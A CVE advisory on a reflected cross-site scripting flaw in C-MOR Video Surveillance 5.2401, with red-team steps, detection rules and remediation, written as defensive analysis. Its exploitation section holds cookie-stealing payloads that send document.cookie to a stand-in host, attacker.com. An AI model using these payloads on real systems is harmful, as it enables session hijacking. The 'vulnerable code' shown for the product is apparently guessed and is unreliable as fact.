CVE-2024-45176

Executive Summary

CVE-2024-45176 is a reflected cross-site scripting (XSS) vulnerability discovered in the za-internet C-MOR Video Surveillance web interface, version 5.2401. The flaw arises from improper input validation in multiple functions, allowing an attacker to inject arbitrary JavaScript into the application’s response. This can lead to session hijacking, credential theft, or defacement when a victim clicks a crafted link. The vulnerability is unpatched, and no public exploit code has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score 6.1). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) or a WordPress plugin. It affects a proprietary video surveillance appliance. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (clicking a malicious link) and does not directly lead to remote code execution. However, it can be used to steal session cookies or perform actions on behalf of an authenticated user.

Deep Dive & Mechanics

The C-MOR Video Surveillance web interface fails to sanitize user-supplied input before reflecting it in HTTP responses. Specifically, functions that handle query parameters (e.g., ?page=... or ?error=...) do not encode or validate the input, allowing an attacker to inject HTML and JavaScript. When a victim visits a crafted URL, the injected script executes in the context of the victim’s session with the C-MOR application.

Root Cause: The application uses server-side scripting (likely PHP or Python) that directly echoes user input without proper escaping. For example, a parameter like ?msg=<script>alert('XSS')</script> is reflected in the response without encoding.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-c-mor/login.php?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. Attacker sends the link to a victim (e.g., via phishing email).
3. Victim clicks the link while authenticated to the C-MOR interface.
4. The injected script executes, sending the victim’s session cookie to the attacker.
5. Attacker uses the stolen cookie to impersonate the victim.

Vulnerable vs. Patched Code

Vulnerable Code (C-MOR 5.2401):

// login.php
$error = $_GET['error'];
echo "<div class='error'>$error</div>";

Patched Code (Hypothetical):

// login.php
$error = htmlspecialchars($_GET['error'], ENT_QUOTES, 'UTF-8');
echo "<div class='error'>$error</div>";

The vulnerable code directly outputs the error parameter without encoding. The patched version uses htmlspecialchars() to escape HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a C-MOR Video Surveillance instance (version 5.2401).
• Ability to send a crafted URL to a victim.

Exploitation Steps:

1. Identify a reflected parameter (e.g., error, msg, page).
2. Craft a payload: <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
3. URL-encode the payload: %3Cscript%3Enew%20Image().src%3D'http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
4. Send the victim the link: https://target/login.php?error=%3Cscript%3Enew%20Image().src%3D'http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
5. Set up a listener on attacker.com to capture cookies.

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection Steps:

1. Monitor web server logs for unusual query parameters containing <script> or onerror= patterns.
2. Use a Web Application Firewall (WAF) to block reflected XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Deploy a C-MOR 5.2401 instance in an isolated VM.
• Use Burp Suite or OWASP ZAP to test for reflected XSS.
• Simulate attack with a simple Python script:

import requests
target = "http://192.168.1.100/login.php"
payload = "<script>alert('XSS')</script>"
url = f"{target}?error={payload}"
response = requests.get(url)
if payload in response.text:
    print("Vulnerable to XSS")

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters.
  • Outbound connections to attacker-controlled domains from the C-MOR server.
• File IOCs:
  • Web server logs showing error=<script> patterns.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when visiting C-MOR pages.

Detection Engineering

YARA Rule

rule CVE_2024_45176_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against C-MOR Video Surveillance"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45176"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against C-MOR Video Surveillance
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting C-MOR
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45176 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on all user-supplied parameters. Reject or sanitize any input containing HTML or JavaScript.
2. Output Encoding: Use context-aware encoding (e.g., HTML entity encoding) when reflecting user input in responses.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block reflected XSS payloads (e.g., ModSecurity CRS rule 941100).
4. Content Security Policy (CSP): Add a CSP header to restrict script execution: Content-Security-Policy: default-src 'self'; script-src 'self';

Long-Term Fix:

• Upgrade to a patched version when available. Contact za-internet for a security update.
• Conduct a full security audit of the web interface to identify other injection points.

Workaround:

• If patching is not possible, restrict access to the C-MOR web interface to trusted IPs only via firewall rules.

Valters IT